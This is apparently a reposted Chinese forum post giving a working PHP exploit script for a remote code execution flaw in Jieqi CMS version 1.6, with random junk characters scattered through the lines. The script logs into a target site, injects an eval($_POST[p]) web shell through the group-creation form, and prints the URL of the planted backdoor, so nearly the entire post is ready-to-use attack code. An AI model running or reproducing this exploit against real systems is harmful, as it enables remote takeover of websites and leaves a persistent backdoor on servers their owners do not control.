杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。1 ^ Q4 E& v' f6 a# ?" Q( y2 G
& Z3 v5 ^% s. d' S A0 x! z
9 _2 Z5 ~9 g" P% T该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。) \$ s7 u! C) W, \" F; Q9 Q N
需要有一个能创建圈子的用户。
4 `" D' D7 _. C! t) @
! ~& j6 y2 {4 N<?php
; S& \# i9 \" A% { $ M6 \( b Z0 w" [, y5 c. V
print_r('4 g. c7 n* w+ V4 y+ m" C! u
+---------------------------------------------------------------------------++ V& \# x0 g p0 n" k
Jieqi CMS V1.6 PHP Code Injection Exploit
, E$ c3 N/ e! f. W6 L7 \2 ?3 zby flyh4t
% i6 ]# a: \8 R4 }5 wmail: phpsec at hotmail dot com
! h+ t& q# F5 S5 P# dteam: http://www.wolvez.org
& f2 x1 q" [& F+---------------------------------------------------------------------------+ s' u) _* S5 u) @
'); /**1 i; L# q8 ]1 v+ e* q7 }
* works regardless of php.ini settings5 E" m3 y1 S0 a
*/ if ($argc < 5) { print_r('' m9 t2 q1 Z" p0 Q& x0 u
+---------------------------------------------------------------------------+
0 Q9 o$ R- C6 t% o: A1 TUsage: php '.$argv[0].' host path username1 s8 ~& r* \4 J# }5 _
host: target server (ip/hostname); l. n; [$ I9 e6 @7 e( P+ R6 Y; J
path: path to jieqicms 4 ]3 n( y, Z. U3 t+ z, R
uasename: a username who can create group
% p) e/ o* y1 {$ C& {Example:* @5 L, B6 q! x8 b% S2 A) I
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password! `- A' `! f! C: ~$ V- h6 Q) \- b! t
+---------------------------------------------------------------------------+ P" M6 P+ e0 H% v
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------232811682799611 |- s/ y" A" d( N
Content-Disposition: form-data; name="gname"
$ n3 k" Z* V+ @; b% d9 G0 I- c
# S& Z) b" `! x# P- x& ?'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
- x* m$ e7 N2 \1 k# ?& S-----------------------------23281168279961! l, d7 [. m7 @
Content-Disposition: form-data; name="gcatid"/ N4 E/ H' H0 a# v6 m) }+ [
3 f g$ q2 `/ a' c8 e+ A1
& y2 w t/ ~" {- ]. I-----------------------------23281168279961" Q$ y6 [4 f3 g; l- d# Z
Content-Disposition: form-data; name="gaudit"
- {* G7 i: E$ A$ s7 p' w, S8 y
3 {3 n0 M6 K% I7 z @: j1
9 W& p6 U5 b2 I/ x-----------------------------23281168279961
7 w# j7 N4 _* |Content-Disposition: form-data; name="gbrief" s: e3 J# N8 ~" b6 w) |$ C2 U
0 n9 X3 Q% H7 d9 x; \. P6 ^6 ?
1
; X1 T1 a U) h9 H9 o* H4 p-----------------------------23281168279961--' P+ t3 ~/ Q' s2 j1 _! z
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com
. q1 V) g+ |6 v8 {' z * n' q" ^$ A8 @$ y+ @. B
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url; |